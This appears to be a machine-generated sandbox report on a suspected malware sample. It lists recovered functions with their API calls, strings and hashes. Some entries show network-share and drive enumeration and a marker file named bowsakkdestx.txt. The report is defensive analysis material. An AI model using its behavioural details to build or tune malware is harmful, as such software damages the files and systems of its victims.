Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 004326DA
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 004326ED
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00432700
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00432713
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00432726
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00432739
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 0043274C
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 0043275F
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00432772
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00432785
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00432798
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 004327AB
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 004327BE
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 004327D1

__mtinitlocks.LIBCMT ref: 00425146
__mtterm.LIBCMT ref: 0042514F

Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B62
Part of subcall function 004251B7: _free.LIBCMT ref: 00428B69
Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(0050AC00,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B8B

__calloc_crt.LIBCMT ref: 00425174
__initptd.LIBCMT ref: 00425196
GetCurrentThreadId.KERNEL32 ref: 0042519D

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction ID: 366d1241f395ce705af539ece55ec53f654f371a685379b5f067519d47a60e56
Opcode Fuzzy Hash: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction Fuzzy Hash: 75F0CD32B4AB712DE2343AB67D03B6B2680AF00738BA1061FF064C42D1EF388401455C

Uniqueness

Uniqueness Score: -1.00%

Function 004253AE Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042594A

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

_free.LIBCMT ref: 00425970

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

__lock.LIBCMT ref: 00425989
___removelocaleref.LIBCMT ref: 00425998
___freetlocinfo.LIBCMT ref: 004259B1
_free.LIBCMT ref: 004259C4

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: __lock_free$CriticalEnterErrorFreeHeapLastSection___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 626533743-0
Opcode ID: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction ID: 81c7b0a8007453265eca5a285afc690957d7e654b57493ebbede42104a270bc8
Opcode Fuzzy Hash: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction Fuzzy Hash: E801A1B1702B20E6DB34AB69F446B1E76A0AF10739FE0424FE0645A1D5CFBD99C0CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 004506A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004507C3

Strings

error:%08lX:%s:%s:%s, xrefs: 00450792
lib(%lu), xrefs: 0045071C
reason(%lu), xrefs: 00450758
func(%lu), xrefs: 00450734

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID: error:%08lX:%s:%s:%s$func(%lu)$lib(%lu)$reason(%lu)
API String ID: 601868998-2416195885
Opcode ID: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction ID: 4fd155d7ac4cfc4ad9107eba643b63d3b81161049ee91e28a54c83c9030a6459
Opcode Fuzzy Hash: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction Fuzzy Hash: F64109756043055BDB20EE25CC45BAFB7D8EF85309F40082FF98593242E679E90C8B96

Uniqueness

Uniqueness Score: -1.00%

Function 0045AE30 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AE4B
_memset.LIBCMT ref: 0045AE6C

Strings

g9F, xrefs: 0045AE31, 0045AE36, 0045AE63, 0045AF14, 0045AF1D
.\crypto\buffer\buffer.c, xrefs: 0045AE88, 0045AEBE, 0045AED3, 0045AEF0

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$g9F
API String ID: 2102423945-3653307630
Opcode ID: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction ID: 958ac6a2dbe7618ecd56aaf11cdfe4c63fb5daf7b6a990d4d23814bb8d8bf6ac
Opcode Fuzzy Hash: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction Fuzzy Hash: 27212BB6B403213FE210665DFC43B66B399EB84B15F10413BF618D73C2D6A8A865C3D9

Uniqueness

Uniqueness Score: -1.00%

Function 004C5D39 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 004C5D3D

Part of subcall function 0042501F: GetLastError.KERNEL32(?,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425021
Part of subcall function 0042501F: __calloc_crt.LIBCMT ref: 00425042
Part of subcall function 0042501F: __initptd.LIBCMT ref: 00425064
Part of subcall function 0042501F: GetCurrentThreadId.KERNEL32 ref: 0042506B
Part of subcall function 0042501F: SetLastError.KERNEL32(00000000,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425083

__calloc_crt.LIBCMT ref: 004C5D60
__get_sys_err_msg.LIBCMT ref: 004C5D7E
__get_sys_err_msg.LIBCMT ref: 004C5DCD

Strings

Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 004C5D48, 004C5D6E

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: ErrorLast__calloc_crt__get_sys_err_msg$CurrentThread__getptd_noexit__initptd
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
API String ID: 3123740607-798102604
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: efefb7cdb09aa89a66c944e42d5018451410fe076c3b278b171ca9447b521f4c
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 8E11E935601F2567D7613A66AC05FBF738CDF007A4F50806FFE0696241E629AC8042AD

Uniqueness

Uniqueness Score: -1.00%

Function 00462FF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 0046307E
_memset.LIBCMT ref: 004630AB

Strings

Enter PEM pass phrase:, xrefs: 00463036, 00463043, 00463084
.\crypto\pem\pem_lib.c, xrefs: 00463097
phrase is too short, needs to be at least %d chars, xrefs: 00463070

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _fprintf_memset
String ID: .\crypto\pem\pem_lib.c$Enter PEM pass phrase:$phrase is too short, needs to be at least %d chars
API String ID: 3021507156-3399676524
Opcode ID: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction ID: 90c6fe5d672865ace0ee8fbe81ed9b43ee89a432c17a94ace257beddb0b51c59
Opcode Fuzzy Hash: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction Fuzzy Hash: 0E218B72B043513BE720AD22AC01FBB7799CFC179DF04441AFA54672C6E639ED0942AA

Uniqueness

Uniqueness Score: -1.00%

Function 0040C500 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C539

Strings

bowsakkdestx.txt, xrefs: 0040C52D

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction ID: a05810460da3035b09b2d6f50620da2975429261b58b3288bff945a9ad0f9da5
Opcode Fuzzy Hash: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction Fuzzy Hash: 281127B2B4023833D930756A7C87FEB735C9B42725F4001B7FE0CA2182A5AE554501E9

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD
ShowWindow.USER32(00000000,00000000), ref: 0041BABE
UpdateWindow.USER32(00000000), ref: 0041BAC5

Strings

LPCWSTRszTitle, xrefs: 0041BA9B
LPCWSTRszWindowClass, xrefs: 0041BAA0

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Window$CreateShowUpdate
String ID: LPCWSTRszTitle$LPCWSTRszWindowClass
API String ID: 2944774295-3503800400
Opcode ID: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction ID: 93e3ae8c3ab6e4512016b3ef7200399996c0305a41779b72c5d02abe3f8cd5ff
Opcode Fuzzy Hash: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction Fuzzy Hash: 08E04F316C172077E3715B15BC5BFDA2918FB05F10F308119FA14792E0C6E569428A8C

Uniqueness

Uniqueness Score: -1.00%

Function 00410BD0 Relevance: 7.7, APIs: 5, Instructions: 234sharememoryCOMMON

Download Yara Rule

APIs

WNetOpenEnumW.MPR(00000002,00000000,00000000,?,?), ref: 00410C12
GlobalAlloc.KERNEL32(00000040,00004000,?,?), ref: 00410C39
_memset.LIBCMT ref: 00410C4C
WNetEnumResourceW.MPR(?,?,00000000,?), ref: 00410C63

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Enum$AllocGlobalOpenResource_memset
String ID:
API String ID: 364255426-0
Opcode ID: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction ID: bd97fe2cb621df6ca28f66a093f1f6e361520364a30ff1ea4190286e2c40543e
Opcode Fuzzy Hash: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction Fuzzy Hash: 0F91B2756083418FD724DF55D891BABB7E1FF84704F14891EE48A87380E7B8A981CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 004416EB Relevance: 7.6, APIs: 5, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 00441726
_strlen.LIBCMT ref: 00441734

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

_strnlen.LIBCMT ref: 004417BF
__lock.LIBCMT ref: 004417D0
__getenv_helper_nolock.LIBCMT ref: 004417DB

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__lock_strlen_strnlen
String ID:
API String ID: 2168648987-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 706a9fbf285425ec29b4e33d2635255339e15eb248031f995e6227ac9da9c0f4
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: A131FC31741235ABEB216BA6EC02B9F76949F44B64F54015BF814DB391DF7CC88046AD

Uniqueness

Uniqueness Score: -1.00%

Function 00410A50 Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00410A75
SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
PathFileExistsA.SHLWAPI(?), ref: 00410AF9
SetErrorMode.KERNEL32(00000000), ref: 00410B02
GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: ErrorMode$DriveDrivesExistsFileLogicalPathType
String ID:
API String ID: 2560635915-0
Opcode ID: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction ID: e48b338c548d72163c5ae3f73f283317dfaad29deff82c686574d6b9df2ed0f8
Opcode Fuzzy Hash: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction Fuzzy Hash: 6141F271108340DFC710DF69C885B8BBBE4BB85718F500A2EF089922A2D7B9D584CB97

Uniqueness

Uniqueness Score: -1.00%

Function 0043B6FF Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0043B70B

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00640000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_free.LIBCMT ref: 0043B71E

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: d70b67a4a7fe440acc7419d06ec2b6f75a63a325c355f2e5d89529d3462600c6
Instruction ID: cebe638eb0ed40525ab660a1b273922ca7a171140340163af9fc546bca46de76
Opcode Fuzzy Hash: d70b67a4a7fe440acc7419d06ec2b6f75a63a325c355f2e5d89529d3462600c6
Instruction Fuzzy Hash: F411EB31504725EBCB202B76BC85B6A3784DF58364F50512BFA589A291DB3C88408ADC

Uniqueness

Uniqueness Score: -1.00%

Function 0041F070 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041F085
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0AC
DispatchMessageW.USER32(?), ref: 0041F0B6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0C4
WaitForSingleObject.KERNEL32(0000000A), ref: 0041F0D2

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction ID: 8330a25206e7a7c758b309db49295e470543d34b7ed76d4368c5dbe794fa98e6
Opcode Fuzzy Hash: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction Fuzzy Hash: 5C01DB35A4030876EB30AB55EC86FD63B6DE744B00F148022FE04AB1E1D7B9A54ADB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041E500 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041E515
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E53C
DispatchMessageW.USER32(?), ref: 0041E546
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E554
WaitForSingleObject.KERNEL32(0000000A), ref: 0041E562

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction ID: 59d9cfd0379212e31388a7928d285390ad7449125cd170d7d310b1f6820545b5
Opcode Fuzzy Hash: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction Fuzzy Hash: 3301DB35B4030976E720AB51EC86FD67B6DE744B04F144011FE04AB1E1D7F9A549CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA40 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FA53
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA71
DispatchMessageW.USER32(?), ref: 0041FA7B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA89
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FA94

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: 7dc02704ba958b7d98511173c4623a4fa8f2b4100db45197b38ae147ea501182
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 6301AE31B4030577EB205B55DC86FA73B6DDB44B40F544061FB04EE1D1D7F9984587A4

Uniqueness

Uniqueness Score: -1.00%

Function 0041FDF0 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FE03
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE21
DispatchMessageW.USER32(?), ref: 0041FE2B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE39
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FE44

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: d705e8d6a79994c6a13c6d22e65b3a6180ae01e64e8e6a22fa5ca061b0d405f5
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 3501A931B80308B7EB205B95ED8AF973B6DEB44B00F144061FA04EF1E1D7F5A8468BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00417BA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417C6A
_memmove.LIBCMT ref: 00417CD4

Strings

invalid string position, xrefs: 00417D2C
string too long, xrefs: 00417D36

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction ID: 16eedd03d570a769cf24423414cb71a1906862ef28ca1dd771941f38c47b8a04
Opcode Fuzzy Hash: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction Fuzzy Hash: C451C3317081089BDB24CE1CD980AAA77B6EF85714B24891FF856CB381DB35EDD18BD9

Uniqueness

Uniqueness Score: -1.00%

Function 00414160 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004141E4
_memmove.LIBCMT ref: 00414215

Strings

invalid string position, xrefs: 00414260
string too long, xrefs: 00414256

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction ID: c789d4a5c221ce0c411dffae1b259be01e75b302f83ceaf2f45b858c9c7e4579
Opcode Fuzzy Hash: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction Fuzzy Hash: 3D311430300204ABDB28DE5CD8859AA77B6EFC17507600A5EF865CB381D739EDC18BAD

Uniqueness

Uniqueness Score: -1.00%

Function 0045AD50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AD72
_memset.LIBCMT ref: 0045AE15

Strings

C7F, xrefs: 0045AD51, 0045AD56, 0045AD69, 0045AE0B, 0045AE14
.\crypto\buffer\buffer.c, xrefs: 0045AD8B, 0045ADBE, 0045ADD0, 0045ADE7

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _memset
